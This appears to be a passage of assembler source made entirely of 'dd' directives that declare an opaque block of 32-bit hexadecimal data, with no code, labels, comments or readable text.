dd 15292122h, 90456408h, 20C78469h, 55420948h, 21952442h
dd 5D121D0Bh, 62D03320h, 0CB1903E3h, 0CD1AE25Bh, 0D11CE0F0h
dd 20044903h, 880548E6h, 47F9D0h, 4AFA8A50h, 22F5898Fh
dd 80088E6Fh, 34E89298h, 0D9AB3F9Ch, 19B00070h, 0BC335678h
dd 5401B3BAh, 77627DE1h, 47709095h, 1E8CB002h, 72BFF42h
dd 677D3EB3h, 5FDD409Dh, 0A600F0B8h, 8CA5166Dh, 0B0B536h
dd 0E6F311E0h, 7E032744h, 4A46FD00h, 62EC6F6Ch, 24C80090h
dd 9AC1B33Dh, 1B002512h, 0E60A69ADh, 7DE8BF67h, 3460003Ah
dd 0F36F90F7h, 0B3007FDCh, 0CD4E4475h, 0A88569C2h, 346CED8h
dd 0BB20C3C7h, 901FC11Fh, 9C03845Ah, 0F33DF44Eh, 0E6F0E75Bh
dd 0B502C8h, 6CC21CAFh, 6D54F227h, 4D256800h, 3AF410D0h
dd 80C84940h, 0FCC1B800h, 43D5E858h, 0ADF04A03h, 0A04F02A6h
dd 3DFAFE81h, 589F2F0Bh, 3546C0F2h, 5722E3B3h, 0BB6838h
dd 52F5AF8h, 9B6A96h, 8988DDDh, 0EC5E6F4Ch, 82EE1100h
dd 50D0DBBBh, 90790072h, 515416A2h, 1E07E95Eh, 3A17D592h
dd 1B4FACD1h, 0C35CF440h, 357CD6h, 345AA5D9h, 4A03D08Eh
dd 0C8384D00h, 1B97F53Dh, 5B041E94h, 1F70C0EBh, 0D56042BBh
dd 8B586500h, 0A8A5F85Ch, 0E6B80002h, 0E7CD54ADh, 0B27C57AEh
dd 0FBD9C503h, 947A9CB7h, 5D80AC95h, 1774DAh, 875DB96h
dd 25BDDB0h, 5FE19400h, 0D5FA061Eh, 4B1C00B8h, 4A5463EDh
dd 2F1B608Ah, 0E009E251h, 0F66C5C6Bh, 2CB50092h, 2A38B00Bh
dd 5D00DBA2h, 0C02443B1h, 0C8B8B3h, 879464D0h, 89A2746Fh
dd 4B799A01h, 4E86E660h, 97280FCh, 0EF5955C8h, 0A0C12C00h
dd 0EC0F5F49h, 0A0FEB86Bh, 6B3B94Fh, 0BB630092h, 6EB0204Ah
dd 3300ECD5h, 50C6A00Bh, 828D5Bh, 0D9F575F2h, 5E2D254Fh
dd 0AAF73903h, 1052ECh, 0E7A36711h, 0BB8BB1Bh, 2F632600h
dd 48DE8CD1h, 68E20054h, 40CD310Fh, 4A005246h, 0EE9C18ACh
dd 69796Ch, 67D84358h, 3A36AAA0h, 7F1E58B7h, 0E50E00CEh
dd 5CCABA7Dh, 0DDFCDCB5h, 0F4547B00h, 0F930AB87h, 80AA3AA7h
dd 0A925D884h, 4C80EBAEh, 1325F98h, 0B749CE85h, 2FB61E5Dh
dd 294296C0h, 395100D2h, 0D57DED20h, 48006E35h, 0A1DB11D0h
dd 0C23886h, 2CE15673h, 0BEA06960h, 0F3EB23Ah, 7D2BB3BFh
dd 367FCCC7h, 606B5E7h, 4C8307E8h, 0D1814090h, 0D58A3F95h
dd 85746093h, 88499E00h, 354A927Ah, 0FF0D004Dh, 0A0FC51Dh
dd 2A37C818h, 80C90902h, 6776111h, 86220064h, 0C22FB0E6h
dd 0C0026A4h, 8C7E9495h, 5A21D2Ah, 1A40ED97h, 26EC005Bh
dd 4E797D3Dh, 0D59A8B00h, 4B8E3B37h, 9CFC0036h, 7E3A09CFh
dd 280095D3h, 2CE2BF01h, 0A7C41Eh, 0A0F83D1Ch, 7A5A5217h
dd 0B3A47700h, 0E4BF6A1Dh, 6BDC0023h, 66F0134h, 0C600B7BCh
dd 0C2B6BD53h, 4CD7613Dh, 2F00BF9Fh, 59737B03h, 0F60349DBh
dd 7725C437h, 0D539A8D3h, 0B7690061h, 0E80CBC0h, 0DDEE8C4Fh
dd 9997BC07h, 2A03FB1h, 1D01116Dh, 0C0E495E2h, 1C8F2571h
dd 1E601A60h, 0CFB63E19h, 8586075Bh, 5081575Eh, 0B7A5EAB3h
dd 0FE4DF400h, 217BDFDBh, 1F8B079Fh, 2FCF7133h, 0EE20C62Fh
dd 0E6B7A98Eh, 0EDD6F103h, 0D0517839h, 5C97B8h, 0AC7C95E3h
dd 36B971FCh, 0ABF8BA00h, 0E79D9F6Dh, 844B00BDh, 22817790h
dd 4AFADF70h, 0A292D701h, 7B093E2Fh, 0B9165E0h, 44BC6819h
dd 1E502F87h, 0DB9704A0h, 6E07FF9Eh, 4AD5D27Eh, 8D3BA970h
dd 0E03100BDh, 74769646h, 48079FFBh, 1D8A247Ah, 0FAD099C0h
dd 0B05D00DAh, 6AAD3340h, 6303F928h, 1BC758F5h, 0A6808FD5h
dd 12FA2B25h, 651842h, 0EFC6F208h, 57AE441h, 6CD9FB00h
dd 0BB497C44h, 0E3DA006Eh, 0FFDE2B9Bh, 0C890A9A1h, 4D74D701h
dd 5857B8AAh, 7B0420h, 32FC113Fh, 0EC19E6A1h, 0D5F72900h
dd 982578E5h, 0A4CF1E14h
dd 0C4503E03h, 0D41800CCh, 2A401F0Ch, 6EEAA32Ch, 9C7DEA00h
dd 0E5BCAE22h, 7CBE004Dh, 17C5CDFBh, 2500A870h, 24F7AE1h
dd 861D64h, 1A75C860h, 95559E7Fh, 70A6707h, 5BD0307Bh
dd 0AEA0D7h, 0B249DA4Fh, 0F30DE91Ch, 37FE9D00h, 6713538Dh
dd 40300050h, 41E533D5h, 0E61E3220h, 0E8C02242h, 142C2E48h
dd 2D1B000Dh, 7CD5EE13h, 0F1389861h, 0F097867Eh, 0F809768Bh
dd 9D972A0h, 9AD2C944h, 5DC53301h, 14E2D080h, 0F749FE1Eh
dd 0D4364A04h, 24D15380h, 0C0830048h, 0ECBDE8C2h, 8C006C19h
dd 2950EA65h, 262C3Eh, 72311762h, 0E4FC835Ah, 6C93D01Fh
dd 40D4714Fh, 0BC8430C0h, 405C04D1h, 805779FBh, 0E6A2DE20h
dd 1100AE79h, 0EECC47B8h, 7BB964D4h, 351F033h, 0F324A038h
dd 32B87206h, 2D02A4A2h, 1F5AF02Eh, 9C49C0A5h, 65F240h
dd 5776506Dh, 6EF43221h, 9645B200h, 0CDF926DAh, 0BB970792h
dd 0D0BF5E95h, 0EE86D568h, 293A527Bh, 78E680CFh, 143A1C3Fh
dd 0F4DD00E0h, 0D235932Eh, 0E83B77EBh, 29DA871Eh, 17A09F6Fh
dd 0EA56B7h, 7D4CE110h, 0E72AA17Ch, 31FD50C0h, 16F668Bh
dd 41F0D1DAh, 0CDFAC18Ah, 4C209EE8h, 0E2C83BC0h, 573AD93h
dd 471C3439h, 0CF40360h, 0ED0F721h, 3A0EF63Ch, 0C7F43E0Fh
dd 38001A15h, 0E4013719h, 902100FAh, 92E5A42Dh, 0E41BA37Ah
dd 0E009528Fh, 0AB4EE6Ch, 98C69528h, 72E904F4h, 983C3394h
dd 5B9E5E0h, 0D5CD4305h, 0C1BC80A1h, 0B6298D4Dh, 50090E1h
dd 0D7DBA7AFh, 7FEF3EDAh, 66CF0FF3h, 0FC0034B4h, 8C8D71CCh
dd 7AC2BC00h, 26A05C5Fh, 0DB430018h, 4CA6C650h, 8500F19Dh
dd 0C03B18Ch, 7C80BD48h, 277F0026h, 71D06765h, 0E10222C8h
dd 0AAA4763Bh, 48888063h, 756658Fh, 4FA6A3DAh, 0CB33A0F2h
dd 0D100C47Fh, 35824D83h, 0C12DB4h, 6B7C1917h, 0AE6F465Bh
dd 580648h, 8A9F9110h, 242C7ED9h, 802C0F97h, 0F80EE409h
dd 0E258158Dh, 0FE820796h, 4F84ADB0h, 68F0F3C7h, 19D96A3h
dd 20AE2E4Ch, 806D6CEBh, 0B5F64D98h, 1D7597Fh, 0A209EC66h
dd 2B51B2E4h, 0FA3FF0h, 0B4C92532h, 0A495C323h, 80E03838h
dd 96A19978h, 0ADB140h, 107DDC24h, 0A982F15Eh, 0CCCF5C1Dh
dd 91323C9h, 0C78FF735h, 3E120E5h, 0BD2B04A7h, 25425D88h
dd 9BE43100h, 0A9987C5Ch, 0C0B10FCEh, 39E00567h, 0FCA8032Dh
dd 96108700h, 699FAB77h, 0D87B00A7h, 74513D89h, 0E7007D6Ah
dd 42F03576h, 7093DF64h, 0F1160029h, 681D899Dh, 0E300586Eh
dd 0D5A0B1Bh, 908D9534h, 62060377h, 2515E9F0h, 0A94A3C98h
dd 240050E6h, 71ADFDBDh, 1FC5F672h, 0C0E94913h, 2FCF8D9Ah
dd 0D007944Ch, 0A68F4F30h, 48E7B640h, 0E7A189Dh, 9412E861h
dd 9816800h, 0C86718Dh, 8473008Fh, 486F8B06h, 6E008222h
dd 8993FD4Bh, 35795BDh, 5472C5E0h, 97CBE8Bh, 0F85F6D3Bh
dd 45788800h, 807C6648h, 11E30002h, 81E89FEBh, 0F507601Fh
dd 0D262DCD1h, 343AE130h, 0BB460072h, 7DC6F4C2h, 0C43B64CBh
dd 77BE803Dh, 94F33B4Ch, 55C2C87h, 546D0060h, 0A79A0651h
dd 0A40ED490h, 0C04F90F6h, 33E593F4h, 0E39E00D2h, 986AB78Ah
dd 0F800851Ah, 502148CEh, 2B8E003h, 0D8F1234Ah, 40802EEDh
dd 7C6B9F37h, 7FBE4800h, 42663F71h, 49F400D2h, 0E9469C35h
dd 31F6A9DCh, 723C8D08h, 5D65078Ah, 0F0A5E0FCh, 590342CDh
dd 501A7D71h, 0C220168Bh, 0BC00AA30h, 0AE3B5F04h, 0D6BCA06Ch
dd 78D7993h, 41270F96h, 6077031Dh, 5088C4FBh, 0DF00D416h
dd 24E46E51h, 15D32Dh, 1E23355Fh, 0D5D15BDBh, 0F8EA1300h
dd 188E0F73h, 9F5D1CB8h, 5720CAD7h, 3DA1876Ch, 6286A092h
dd 0C100E40Ch, 69FA6E16h, 98D7AD4Dh, 0AE4A0044h, 0DF0C8556h
dd 0D90093DEh, 8BEF030Bh, 333B61Ch, 0E6CFE34Ch, 9FB0C7A2h
dd 65013D6Ch, 0FEAA2F41h, 53D5CA7Bh, 2D936630h, 627019CFh
dd 752C6E00h, 0A1548A4Fh, 72E1003Ah, 6285D137h, 400DFF6h
dd 0FC326A4Dh, 7075BDC8h, 10200011h, 96B32348h, 4500D168h
dd 44D06551h, 0E47242h, 56063B49h, 0E0C77CAAh, 8A5DD612h
dd 0B4884040h, 3E915E70h, 93006AB6h, 8F2966BAh, 5A0C6BB3h
dd 78F8BD9Ch, 0DAF50735h, 1DD237FFh, 3D2CF009h, 0D971B00h
dd 8DC73494h, 0D57D61h, 1656FF4Bh, 0D82E024Ah, 153D5E00h
dd 0B465112Dh, 0B2A10AA2h, 0A87DE98h, 0F901ECCh, 3521C31Fh
dd 0C4A2F093h, 0A0E21985h, 10482490h, 6DC20072h, 78A4320h
dd 60A5F21Fh, 0CFE411AFh, 0B4785047h, 0E101A00h, 369E89FCh
dd 0F0845116h, 50248431h, 3E9F0060h, 0F1BEA81Dh, 970A8D94h
dd 0E48121CEh, 20B7F800h, 0EA3612h, 0C7502FB1h, 0CC54F2CBh
dd 7C00D676h, 76E4E34Bh, 3C6D8Ch, 0C9E53D1Dh, 162891BAh
dd 0CBD0AD00h, 0A9012345h, 3938E896h, 7C9B93h, 0F5F2B60h
dd 6BB17094h, 0E4305Ch, 0F319FCDAh, 64BC91h, 3DFE7B43h
dd 510EDC4h, 0B092A990h, 0B4584E0Ah, 0AD00F0C5h, 0AF43488Ah
dd 4F620088h, 465E8C9Bh, 39008F9Ah, 0B179C558h, 0D82CC93h
dd 7AC7A0AEh, 9BA9F009h, 0E4022A04h, 3CC04C34h, 0EE45EC88h
dd 99A00074h, 8FDA8131h, 40009AA4h, 5B825354h, 10C8810h
dd 4D3525D9h, 300B8571h, 3D01E778h, 62819B4Ah, 0F1D8477Ch
dd 8D604CB3h, 0F47B5D00h, 0D1A6782Ah, 73004BFCh, 408EE720h
dd 0F8647E1Bh, 0D9EA6Ah, 0B3925653h, 19E2A35Ch, 263D3103h
dd 0E6584E8h, 38F1B019h, 7E8790E1h, 53F03049h, 0E4DC7F00h
dd 44B581BCh, 1870F5h, 0D0159734h, 68562821h, 72CF8001h
dd 3EFA6403h, 74C452E5h, 86CA1CB2h, 992580FBh, 4354381Bh
dd 10F7D91Dh, 5B6F6880h, 6A37C2h, 3F0953F3h, 809C32BEh
dd 9DF7E43Ah, 600152FBh, 8870B90h, 0F264CCh, 5E0755CDh
dd 30249E99h, 31F940C0h, 58D588h, 0EDB92CE7h, 0B591F7D4h
dd 561ECFF6h, 0AAC0A3F5h, 0DA8B3748h, 0E3A4240Eh, 0D9890740h
dd 0B5FB100Dh, 2900D27Eh, 39DB8082h, 1CF5BDE4h, 0C7F2289Fh
dd 80DF5EC0h, 189AD195h, 0BFB2702h, 0E081457Dh, 1F8EF36Dh
dd 89BEA2C9h, 708FBCABh, 0F589DC20h, 6E00D375h, 57F25B08h
dd 0E2543FFh, 192D9641h, 5F11BAA0h, 0F700740Bh, 858DF253h
dd 1E83E5E6h, 1ECE7E4Ch, 802A0C70h, 0FC805D11h, 0E07D89D2h
dd 9F00FDAEh, 0D04B7618h, 6CF3ED5h, 0ADB6A53Ch, 4500283Dh
dd 0C6A26FF8h, 0CF827085h, 1D06B7B9h, 0D5F02050h, 0FA69A900h
dd 7544868Ch, 20EC8370h, 69924Bh, 4A41CFCCh, 3FD28E18h
dd 3A2A39h, 0C79E5340h, 0AAE90Dh, 4F835E30h, 0EA214543h
dd 66055800h, 9C9BA7C9h, 71BE061Ch, 896C346Dh, 1AE78B00h
dd 4780B194h, 0C8030233h, 52F316BEh, 6EA2D980h, 88C75D18h
dd 0E2F0A4ABh, 7D351DBh, 0BC6FCC3Bh, 9CA29014h, 48F8E105h
dd 0D0EC4BF8h, 84C11700h, 63149312h, 427A1E39h, 0AB003D8Bh
dd 0EF7015F0h, 6A00180Ch, 0F04B854h, 371DDC53h, 2138A706h
dd 0ED93EACBh, 90A8C0B4h, 6651D500h, 8E6C2AE5h, 9B63014Fh
dd 56700574h, 0D8C0D284h, 87E3DC67h, 0E4897738h, 0E3D54440h
dd 0CDD407E5h, 0EEF0FB05h, 0BB3F41C0h, 8C00B340h, 0B61613F4h
dd 2C2143CDh, 0C71E3Bh, 0DB8F4C72h, 0CBF8A49Dh, 676D0500h
dd 0EAB24D19h, 0BE43DADh, 3DDCEC00h, 2E93ED83h, 0CEE1A26Fh
dd 0BA446E7h, 1173F411h, 0B842E5h, 839F8A60h, 5C5BF88h
dd 3EE3196Dh, 757F876Ah
dd 0CF8047B8h, 0F1D9C0FAh, 0DB8B9C6h, 42061102h, 0C3247F46h
dd 6D7680A0h, 8080DCF7h, 0A33629C1h, 80001B81h, 16925CABh
dd 7AAE4FDh, 1E912201h, 6ED3E732h, 60474267h, 3BD8824h
dd 0F60B1774h, 3FCE4AAh, 0A0C724h, 7B634202h, 1A95EF9Bh
dd 0D674A5F8h, 0BA7C28C0h, 0ECA6BDh, 7E7BD8BBh, 0CE5F08BEh
dd 3AA97700h, 6505F4B3h, 8C0A00F0h, 351E4FFCh, 91017ED5h
dd 2C744899h, 3FF7ED93h, 5F9F3DA0h, 306746D3h, 0FA003845h
dd 712D7C51h, 0B635B6Ch, 8C8E24A5h, 0A89F5680h, 6B001D46h
dd 0F62FFE6h, 0D013149h, 0C57F0C56h, 9B8FCAC8h, 87C060FBh
dd 0A5493BAh, 16007B88h, 0FF5650C0h, 90969254h, 3C263BFFh
dd 3A9A7A00h, 0CDD60FA6h, 0A9E4931Ch, 590790A4h, 405FEE48h
dd 0C2FD83CEh, 0D79E0722h, 0B64EDCD6h, 48F10B1h, 0EEF62B43h
dd 41060010h, 8A43899h, 0B3008101h, 98131A05h, 12BABBAh
dd 59B97E61h, 9196A006h, 73F529h, 8E2F3079h, 0AA0B24B0h
dd 92DC2200h, 0ECF234C1h, 0E37300CBh, 8BC674C9h, 0B1043E06h
dd 86692A4h, 16E94C1h, 94C7F8h, 23337BE0h, 1B9399E1h, 0C5DD001h
dd 75F034C3h, 7DB809Eh, 0EADEEBE2h, 80221CA0h, 92A9FA23h
dd 0D6009BA2h, 419561F4h, 0F2AA9E87h, 33090082h, 0BFAB683h
dd 203D5534h, 0C2A0012Bh, 252C7087h, 0AF4A40EAh, 8D08006Ch
dd 1C3637B6h, 8E0038D5h, 2C142ABCh, 0F56E1Bh, 937597AEh
dd 4A1DDA34h, 0F6958907h, 94378346h, 67E99DD0h, 0F9A114E3h
dd 7407B4B0h, 9013BD65h, 0ECED0782h, 0AF70E26Fh, 0DE0A2078h
dd 0D6B93Ah, 701D4D4Ah, 73A40FDDh, 0DC6B4000h, 102CC3E3h
dd 20310076h, 4EEED7C7h, 540084DEh, 2972BC24h, 46419A7h
dd 8B859331h, 0A336C034h, 0AC00A4A5h, 0B30ABC57h, 1F914439h
dd 0C009FFEEh, 7D12EC6Fh, 7A009F42h, 0DC593BC9h, 18DEF83h
dd 0B47B3523h, 203DD7A3h, 49707014h, 437EDF0Bh, 0DD00FF34h
dd 4C2032Ch, 0BB769CE4h, 63B9F300h, 2E369BD6h, 5B40041h
dd 0EFA75857h, 4400115Dh, 4B7084F7h, 0B711323h, 0E01B9C7Eh
dd 0A016FC80h, 0E700F52Ah, 0B3350557h, 1CAAF3C6h, 408B794Ah
dd 6E073A0Bh, 0DA2C1550h, 6A1DB076h, 4900AD6Ch, 7E18EA6Dh
dd 42B70035h, 0FA3861Bh, 0C0A81A04h, 631DE5F3h, 5740C23Dh
dd 2F025E71h, 28A63D69h, 3188FF80h, 5F90383Bh, 3265E300h
dd 0D91CD7EDh, 2DAE1D16h, 25A780E2h, 499343F0h, 5C3C4500h
dd 6D4C8DBBh, 0E89045Eh, 80CF1A4Fh, 7510994h, 3A832A00h
dd 5D81FAAFh, 38D0092h, 57FE68BAh, 231D5F97h, 0CF81447Dh
dd 7C86DB63h, 2E8F5080h, 2D871C22h, 70FC83E2h, 0D23D0F00h
dd 0E6121171h, 25740ED6h, 3E1C5D1h, 24C1C82Ch, 9500ADE8h
dd 4F2F1BCh, 0A680AEh, 7C2B398Eh, 0B538D2D0h, 8DF08B1Fh
dd 1C1F6587h, 2D668F80h, 6AE401B0h, 0C42549B4h, 0F60C34E7h
dd 91B20801h, 0C1D1E271h, 0E6A95820h, 747B0080h, 0D648EAB4h
dd 4B1FBC0Dh, 2F41D398h, 0F89FCABAh, 6E0F70h, 0B4B801C3h
dd 5D5653D1h, 7500A07Ah, 6611A247h, 0B0109Bh, 1DEC3F4Bh
dd 3B2F791Bh, 8857F131h, 0E8109E3Ah, 5A00ECA8h, 4CEBBCF7h
dd 4D9D0CFh, 6771E9AFh, 6ABC8059h, 96002D3Ah, 0DAD9558h
dd 1CD3A908h, 0C3B9ABBh, 0FE1007B7h, 596B3613h, 8B7B0400h
dd 1A3C623h, 0DF0BDA18h, 0F8B7A2BEh, 670F7014h, 80B43DE7h
dd 0FEFA0423h, 60A1E39h, 0C1AB8360h, 0F280637Bh, 5F000716h
dd 0CFED622Fh, 0A10F12h, 927D4BBFh, 8D282D7Fh, 6D26B002h
dd 0E0726789h, 49A264C6h, 0B7004CB2h, 86090F38h, 1D001C46h
dd 0D5145762h, 3EF25D49h, 0C480D3CBh, 8EB37BE4h, 4100F5D1h
dd 695CC89Ch, 98A5F99Bh, 5B91005Eh, 0E9357C96h, 2490428Fh
dd 2256A81Eh, 7AF0D7C0h, 3B9324EEh, 349C41DCh, 3238063h
dd 5B4E998Dh, 6BCA400Eh, 9D35E0F8h, 907FB3BBh, 0D72C00C8h
dd 0B496337Ch, 9AECBF3Bh, 477F8EF4h, 2E8DB800h, 7C0F6D8h
dd 79C77590h, 0C5B42468h, 0C4C21D34h, 80FDE877h, 79AA5B0Ch
dd 98124Ch, 0FF73BE28h, 994E95h, 0AE8343ECh, 96ADF44Fh
dd 6D501D07h, 8E80AFDCh, 0C0361B2Dh, 85CE78EEh, 0BA00B531h
dd 0E86DF82Ah, 79CDA2DCh, 0F78F0022h, 505F80E2h, 9700914Eh
dd 0E856F2D9h, 37D072h, 661826Bh, 109562B8h, 0E3C3D4FBh
dd 0D309E400h, 0E53E0887h, 50711260h, 13C0023h, 0DD33FDA4h
dd 77786E00h, 0C097F37h, 194A0076h, 0A2A8ABA7h, 500A660h
dd 9ED48BB0h, 1B8F265h, 0F7CC3423h, 0D8869057h, 3602D0E9h
dd 0B04F1E38h, 934F40F4h, 7C126D4h, 10BA3F64h, 6E9B0E81h
dd 40B83B46h, 0FF664E0h, 0C9AD3Ch, 7ADCC33Eh, 31E8Fh, 7385CAF8h
dd 137B410Ah, 81072270h, 0B4D42139h, 801EC580h, 0D29100E2h
dd 0F1A69A24h, 41008CD5h, 0B7AA62C0h, 718B5D79h, 70C20047h
dd 6B543ACh, 31006EA2h, 0B79CE108h, 1C65A8ECh, 8020FE13h
dd 0F9FB6B7Eh, 0D300D192h, 0A517C411h, 0E8C1E20Bh, 409AA6h
dd 76C86853h, 73252E79h, 61E7A91Eh, 73FBFh, 453784BFh
dd 279285h, 29DE3039h, 4FC8C20Fh, 0D2C40503h, 0F077EA64h
dd 1F1CCD1Eh, 41C35B0Ah, 0FAFDA367h, 5CE8C69Fh, 243C9A1Eh
dd 0FECD8021h, 0BD8F140Dh, 1042FBDDh, 0CE704A7h, 77AA0823h
dd 0F0A0B8DDh, 0D0CE1CCFh, 168A97FCh, 0DD00AA64h, 672FFF72h
dd 46AF01A2h, 6E1C4277h, 0BD443427h, 483E8A75h, 5816253Fh
dd 0BCE7164h, 0AEDF3BF8h, 76B2A8A0h, 2E617A42h, 9D650848h
dd 6F9070h, 54D8C22Ch, 5DAF1832h, 3F6C017h, 6C9EA440h
dd 0F37E42h, 0F8AAB2A6h, 5D649D02h, 69940F03h, 80E42DD5h
dd 0EA5FACh, 0D77EA610h, 6E93F466h, 0B7360501h, 23D409D6h
dd 3CA73AC8h, 65007969h, 0C44789FFh, 52003E68h, 48C3E64Bh
dd 0EE224D6Fh, 0EA1200F8h, 821E0765h, 0DD003BABh, 0F79A45B4h
dd 77802A1h, 8A566E63h, 7D808E0Eh, 0A26AAAF6h, 16E8F900h
dd 7B15EFE3h, 48AEFC08h, 8444772Eh, 55B4F037h, 5472C879h
dd 9F40B3B8h, 69EF00A1h, 76FD5805h, 0CD004C39h, 0A364717Eh
dd 1C1ACCA7h, 8FC3B2BEh, 0E8E7CB6Fh, 9BE710F6h, 0F400FE51h
dd 0C25A6B8h, 1D1A8D52h, 4087BF10h, 3917343Dh, 940BA07Ah
dd 27B91E4Ch, 92B0AAA8h, 4922EBh, 0E623D83Ch, 0DF4C60D5h
dd 73EF911Dh, 1340CFDCh, 4A96A636h, 67742E75h, 2F8D0040h
dd 44DE6927h, 0DBCC8100h, 0B6B7947Bh, 4C6D0054h, 1D4B83ACh
dd 224C2FBDh, 0CC5E1CCCh, 83DA258Eh, 0A85A9E4Ch, 65EF3Bh
dd 2C9B8B4Dh, 3D2F67F1h, 2654F600h, 0FA78FCF7h, 51C73F83h
dd 6A050600h, 3CE4DFD6h, 8750E1Fh, 9259600h, 93B654h, 0FB145F3h
dd 0DF24E9BDh, 2CFF2200h, 5FEDA746h, 43F239h, 0D872961Eh
dd 0C928BD17h, 0EF6B3300h, 268C09A9h, 58A30378h, 0D5F863D2h
dd 0C37FD688h, 0D9DD8917h, 3A2D8000h, 67610B3h, 9F4ABFCCh
dd 0EA1D18D8h, 0B8C0E574h, 46A3D3A8h, 88454C6Fh, 8DE8E901h
dd 0E88C0ED7h, 0A00C273h, 9B0571C4h, 0CC84E17h, 1F934782h
dd 0B8044C48h, 8D366434h, 11E782BEh, 0FC951448h, 0E6152400h
dd 4002887Ch, 60EFEAB2h, 0E0C938AAh, 0ED00E752h, 0D8FA99D4h
dd 5C909C31h, 1E3D40F9h, 4BABA993h, 14802180h, 45DA20FDh
dd 57031A7Eh, 2BA115FBh, 62CD0CAh, 5091F6h, 4C55327Ch
dd 0A2015B64h, 855C3B39h, 0CC0301Fh, 4E730015h
dd 0C29CF4FFh, 1403FE45h, 0F39B4660h, 8966A842h, 9809002Dh
dd 41583388h, 2E00E163h, 0FC16BA8Eh, 75AB80DCh, 4AE000BCh
dd 96AC4BDFh, 98001CBDh, 119CCA6h, 7938EF2h, 0EDA486C5h
dd 9FF5D0D5h, 0C61D65C4h, 80FFF6EEh, 915251BDh, 5C87F8A0h
dd 0C505CBCAh, 442FD07h, 5C3257A4h, 871600A0h, 0BD89077Bh
dd 0E30033DEh, 8A1DA52h, 76A023h, 3F8DC73h, 0ECAB39Ch
dd 8EA73500h, 4DDA0D91h, 0F5F73EE5h, 13C87E00h, 848BDABh
dd 7BC9CC00h, 0B3140CA2h, 0FDB100B7h, 29516869h, 7A15D513h
dd 0AC5AF4h, 0F034C2A7h, 1D773C9Dh, 0C098B267h, 4EDCBB20h
dd 6828215Dh, 6005D4A8h, 0DAF3B3C6h, 0D6959007h, 0AF73CC67h
dd 152CB1B5h, 8BACECh, 8E677262h, 25233F32h, 748FC000h
dd 59B110EBh, 7703FC9h, 6FA441E0h, 0FE00F5E9h, 0CF425EADh
dd 48761140h, 4700D42Fh, 0E785554Ch, 1D494890h, 5B0F024Ch
dd 9AD85Ah, 0D662E118h, 3788B48h, 687C5CC1h, 9E400103h
dd 4D262D0Ch, 407435BBh, 0A8F7BA5Fh, 7EF8CF01h, 0A72B3682h
dd 4A3C3432h, 713B3287h, 4E2A4020h, 0AB0FB124h, 0A0019604h
dd 6BEB4BDBh, 0F8C31DA4h, 0C0598F56h, 2D0DD3C0h, 0C207FF27h
dd 58AA4917h, 9C053B05h, 0C5800419h, 60BF4FF4h, 0A1F2A8BBh
dd 53409A8Fh, 0FA2D0063h, 0E72F4021h, 30055F3h, 29B1A7DCh
dd 0BAECF8h, 40F999BDh, 5E57F3Ah, 0F31726h, 0F5CD8700h
dd 0AC7B79h, 7FB45BFAh, 8FB5A137h, 67EA8E03h, 80B3FC2Bh
dd 0EDB884Bh, 19F8EC35h, 0F3DCA763h, 0B0ED2800h, 5692D31Ch
dd 860F1BFFh, 83F818CDh, 4B3BFB82h, 8721BDECh, 55CFE6E5h
dd 460980FFh, 0B8EFA55Ch, 30110040h, 0C417D6C8h, 6600E09Ch
dd 0E78C8F3Dh, 23437h, 996A1E01h, 3685D1FEh, 94C3641Eh
dd 0CC9C070Ah, 0EEC55200h, 597D40h, 0D9E143C8h, 90D82A1Dh
dd 1A09FFF2h, 2A141022h, 9140848Ch, 7C54AAD4h, 0AC9A50EFh
dd 0FF441FA5h, 0CF565C50h, 3FF603Bh, 1E3FCE46h, 0AD03419Eh
dd 79DA669Fh, 0E829986Dh, 0CB201F7Dh, 0BF59C3EFh, 2F8AF309h
dd 4199EC80h, 0DF009039h, 982B4D47h, 7C281C0h, 0B21D5B54h
dd 0A663B021h, 2EE0C88Eh, 7C798D00h, 0F70D817h, 349852h
dd 5662BB54h, 2A3DE1A3h, 1C1B3400h, 2C48EBB3h, 66DC0384h
dd 0FD90AD3Ch, 7573E9B0h, 0DF802801h, 5CF19950h, 1AB93E80h
dd 0ACF3256Eh, 4700D8B2h, 0BC35B608h, 17911742h, 11020F8h
dd 72F3EAECh, 9CF1BE8Bh, 0E0642663h, 59C1EC00h, 87C843h
dd 0E1CF20DDh, 0A89CF642h, 2E00537Fh, 0DCF70D1Ch, 0A0F910h
dd 0B65E2656h, 49EE5285h, 0BD05607Ah, 92BCDB33h, 46ECDC00h
dd 244DA8Ah, 190E5F07h, 0B84B3BD4h, 0DCE7ECh, 0C8D1A49Ah
dd 1635CD9Bh, 40188BB5h, 153CB80h, 7100F86Bh, 85E91E3Bh
dd 0F98F73D5h, 0A8F330h, 0B7F238B5h, 0FFC18A37h, 0C328A600h
dd 0EAB248EDh, 0D3730FDBh, 0E3C10CD9h, 20B3E17Ah, 0D4E9F264h
dd 4005105h, 67B7301Ch, 161383A2h, 40C9CD8Ah, 92F71434h
dd 5800485Ch, 0E5A93347h, 51CB997Ch, 0EC008CE3h, 16B4027Bh
dd 359BD37h, 0C89BD7DFh, 94843Eh, 40C23A30h, 0E8035F43h
dd 37532823h, 6F420380h, 8B7E80DFh, 60A7608Bh, 0F8EB3311h
dd 0A03258h, 46312593h, 0F7DBADh, 0EE5C9CE0h, 0D1B7148Ch
dd 2FEA1A00h, 0B9ED3FC1h, 3DC05D9h, 8024AB94h, 2AE78F53h
dd 0D6E87700h, 0C42032FEh, 8726001Ah, 29B69DADh, 2201C5ECh
dd 898DB7Ch, 0E4E86CB2h, 38D9008Fh, 2AA83DFh, 0D10E5E75h
dd 0E069600Dh, 723A3D7Ah, 8B120089h, 0C1B5061Eh, 0FC719F80h
dd 7DBCFE24h, 685A3000h, 97677Ch, 0C4B73A18h, 1FC67FFFh
dd 0DB35EF05h, 34909192h, 96F43D11h, 0B500F458h, 0F0860E49h
dd 7FE3173Fh, 0B7540009h, 1A302A79h, 3C00AA38h, 1452B11Eh
dd 0E85ABF96h, 3AAE3382h, 10A6C320h, 0C03D8622h, 0F2098A28h
dd 0D9027EF4h, 3A017164h, 0F0BC6082h, 0F64F0642h, 68302377h
dd 0AA8EC02h, 4069C4F5h, 3C7C75A9h, 6F0003C0h, 2DC20492h
dd 0EA37B7BEh, 0B1739035h, 40BAB706h, 4A6480BFh, 3CAC7F47h
dd 40D93A9Bh, 0AD222480h, 0C1CC4CA5h, 0BF8C98C0h, 0A05CAF0Ch
dd 0A0ECBB20h, 18CEB32Ch, 8979254h, 1715997Dh, 213CEDB8h
dd 42283B77h, 559F0088h, 56AE2FACh, 897A5010h, 0C33C6674h
dd 0B101009Bh, 36D24F85h, 3575002Ah, 4C4B6799h, 9600490Dh
dd 85DC3EA4h, 5B079Ch, 0C0F969AAh, 4695789Ah, 3884320Eh
